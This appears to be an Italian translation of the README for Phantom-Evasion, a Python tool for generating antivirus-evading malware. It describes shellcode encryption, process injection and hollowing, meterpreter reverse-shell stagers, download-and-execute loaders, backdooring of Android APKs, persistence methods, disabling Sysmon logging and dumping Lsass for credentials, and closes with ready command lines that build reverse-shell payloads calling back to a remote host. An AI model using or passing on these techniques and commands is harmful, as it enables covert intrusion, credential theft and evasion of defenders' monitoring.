
Strumento di evasione antivirus in Python
Phantom-Evasion è uno strumento di evasione antivirus scritto in Python (compatibile sia con Python che con Python3) in grado di generare eseguibili (quasi) completamente non rilevabili anche con i payload x86 più comuni di msfvenom.
I seguenti sistemi operativi supportano ufficialmente l'installazione automatica:
I seguenti sistemi operativi probabilmente supportano l'installazione automatica ma richiedono l'installazione manuale di metasploit-framework:
I seguenti sistemi operativi richiedono l'installazione manuale:
Basta clonare con git o scaricare e decomprimere la cartella Phantom-Evasion
Installazione automatica, apri un terminale ed esegui:
python3 phantom-evasion.py --setup
oppure:
chmod +x ./phantom-evasion.py
./phantom-evasion.py --setup
oppure avvia phantom-evasion in modalità interattiva e seleziona l'opzione 7
python3 phantom-evasion.py
oppure:
./phantom-evasion.py
python3 phantom-evasion.py --help
oppure:
./phantom-evasion.py --help
-Ogni modulo C di payload Windows può essere compilato (supporta sia x86 che x64) come EXE o DLL/ReflectiveDLL.
-Iniezione di junkcode randomizzata (l'intensità, la frequenza e la probabilità di reiniezione possono essere impostate) e tecniche di evasione antivirus Windows (la frequenza può essere impostata).
-Crittografia shellcode/file Multibyte Xor/Vigenere supportata sia nei moduli Shellcode injection che Donwload Exec.
-Tecniche di Ntdll unhookapi e di mascheramento del processo PEB supportate.
-Ampia gamma di modalità di esecuzione supportate (sia locali che remote).
-Ampia gamma di modalità di allocazione della memoria del payload (Virtual_RWX, Virtual_RW/RX, Virtual_RW/RWX, Heap_RWX).
-È possibile impostare il caricamento dinamico delle API di Windows.
-Supporto per spoofing e firma dei certificati.
-Strip eseguibile (https://en.wikipedia.org/wiki/Strip_(Unix))
Payload Windows di msfvenom e shellcode personalizzati supportati. Lo shellcode può essere memorizzato come risorsa e recuperato in runtime tramite l'API FindResource.
Crittografia dello shellcode supportata:
1. nessuna
2. Multibyte-Xor
3. Multibyte-Xor a chiave doppia
4. Vigenere
5. Vigenere a chiave doppia
Il metodo di esecuzione locale può essere uno dei seguenti:
Thread
APC
La modalità di allocazione della memoria locale può essere una delle seguenti:
Virtual_RWX
Virtual_RW/RX
Virtual_RW/RWX
Heap_RWX
Il metodo di esecuzione remota può essere uno dei seguenti:
ThreadExecutionHijack (abbreviato TEH)
Processinject (abbreviato PI)
APCSpray (abbreviato APCS)
EarlyBird (abbreviato EB)
EntryPointHijack (abbreviato EPH)
La modalità di allocazione della memoria remota può essere una delle seguenti:
Virtual_RWX
Virtual_RW/RX
Virtual_RW/RWX
Moduli stager meterpreter in C puro (TCP/HTTP/HTTPS) compatibili con msfconsole e Cobalt Strike Beacon. (reverse_tcp/reverse_http/reverse_https)
Usando la modalità da riga di comando:
reverse_tcp c stager è WRT
reverse_http c stager è WRH
reverse_https c stager è WRS
Il metodo di esecuzione locale può essere uno dei seguenti:
Thread
APC
La modalità di allocazione della memoria locale può essere una delle seguenti:
Virtual_RWX
Virtual_RW/RX
Virtual_RW/RWX
Heap_RWX
Scarica exe/dll dall'URL fornito in memoria ed esegue/carica nel processo remoto (senza scrivere su disco).
Download crittografato EXE/DLL supportato:
1. nessuna
2. Multibyte-Xor
3. Multibyte-Xor a chiave doppia
4. Vigenere
5. Vigenere a chiave doppia
La DLL/EXE crittografata verrà salvata come nomefileoriginale + "crypt" + ".dll" o ".exe"; questo è il file da scaricare.
Windows DownloadExecExe senza scrittura su disco (WDE usando la modalità da riga di comando):
Il metodo di esecuzione remota può essere uno dei seguenti:
ProcessHollowing (abbreviato PH)
Windows DownloadExecDll senza scrittura su disco (WDD usando la modalità da riga di comando):
Il metodo di caricamento remoto può essere uno dei seguenti:
ReflectiveDll (abbreviato RD)
RDAPC (ReflectiveDllAPC)
ManualMap (abbreviato MM) ---> solo x86
Payload Linux di msfvenom e shellcode personalizzati supportati.
Backdoor offuscata Android con msfvenom:
Offusca i payload di msfvenom e li ricostruisce (smali/baksmali) con apktool. Il payload offuscato può essere utilizzato per infettare file APK benigni.
Persistenza Windows RegCreateKeyExW Aggiunta chiave di registro (C) L'eseguibile compilato deve essere caricato sulla macchina target ed eseguito specificando come argomento il percorso completo del file da aggiungere all'avvio.
Persistenza Windows REG Aggiunta chiave di registro (CMD) Questo modulo genera payload di persistenza da riga di comando (Aggiunta chiave di registro tramite REG.exe).
Persistenza Windows Mantieni processo attivo (C) L'eseguibile compilato deve essere caricato sulla macchina target ed eseguito. Utilizza CreateToolSnapshoot, ProcessFirst e ProcessNext per verificare se il processo specificato è attivo ogni X secondi (in caso contrario, crea un nuovo processo usando l'API WinExec)
Persistenza Windows Schtasks (CMD)
Questo modulo genera payload di persistenza da riga di comando (usando Schtasks.exe).
Persistenza Windows Crea servizio (CMD)
Questo modulo genera payload di persistenza da riga di comando (usando sc.exe).
Windows DuplicateTokenEx (C)
Crea un nuovo processo con un token clonato da un altro processo. L'eseguibile compilato deve essere caricato sulla macchina target ed eseguito.
Windows Scarica Sysmon (C) Scarica il driver sysmon, causando l'arresto della registrazione dei log degli eventi sysmon da parte del sistema. L'eseguibile compilato deve essere caricato sulla macchina target ed eseguito.
Windows Scarica Sysmon (CMD) Scarica il driver sysmon, causando l'arresto della registrazione dei log degli eventi sysmon da parte del sistema.
Windows Attrib nascondi file (CMD) Usa attrib per nascondere il file
Windows SetFileAttribute nascosto (C) Nasconde il file usando l'API SetFileAttribute L'eseguibile compilato deve essere caricato sulla macchina target ed eseguito.
Windows DumpLsass (C) Esegue il dump di Lsass usando l'API MiniWriteDumpWrite. L'eseguibile compilato deve essere caricato sulla macchina target ed eseguito.
Windows DumpLsass (CMD)
Esegue il dump di Lsass dalla riga di comando.
python3 phantom-evasion.py -m WSI -msfp windows/meterpreter/reverse_tcp -H 192.168.1.123 -P 4444 -i Thread -e 4 -mem Virtual_RWX -j 1 -J 15 -jr 0 -E 5 -c www.windows.com:443 -f exe -o filename.exe
python3 phantom-evasion.py -m WSI -msfp windows/x64/meterpreter/reverse_tcp -a x64 -H 192.168.1.123 -P 4444 -tp SkypeApp.exe -i PI -e 3 -mem Virtual_RW/RX -j 1 -J 15 -jr 0 -E 5 -f dll -R -o filename.dll
python3 phantom-evasion.py -m WSI -msfp windows/x64/meterpreter/reverse_tcp -a x64 -H 192.168.1.123 -P 4444 -tp svchost.exe -i EB -e 2 -mem Virtual_RW/RX -j 1 -J 15 -jr 0 -E 5 -f dll -res -S -o filename.dll
python3 phantom-evasion.py -m WRS -a x64 -H 192.168.1.123 -P 4444 -i Thread -mem Heap_RWX -j 1 -J 15 -jr 0 -E 5 -f dll -S -o filename.dll
python3 phantom-evasion.py -m WDD -U http://192.168.1.123/payload.dll -i MM -tp OneDrive.exe -ds 1000000 -j 10 -J 10 -jr 0 -E 10 -f exe -S -o filename.exe
python3 phantom-evasion.py -m WDE -U http://192.168.1.123/payloadcrypt.exe -e 4 -ef payload.exe -i PH -tp svchost.exe -ds 1000000 -j 1 -J 5 -jr 0 -E 3 -f dll -R -S -o filename.dll
GPLv3.0
https://github.com/stephenfewer/ReflectiveDLLInjection
https://github.com/rsmudge/metasploit-loader
https://github.com/theevilbit/injection
http://www.rohitab.com/discuss/topic/40761-manual-dll-injection/
https://wikileaks.org/ciav7p1/cms/files/BypassAVDynamics.pdf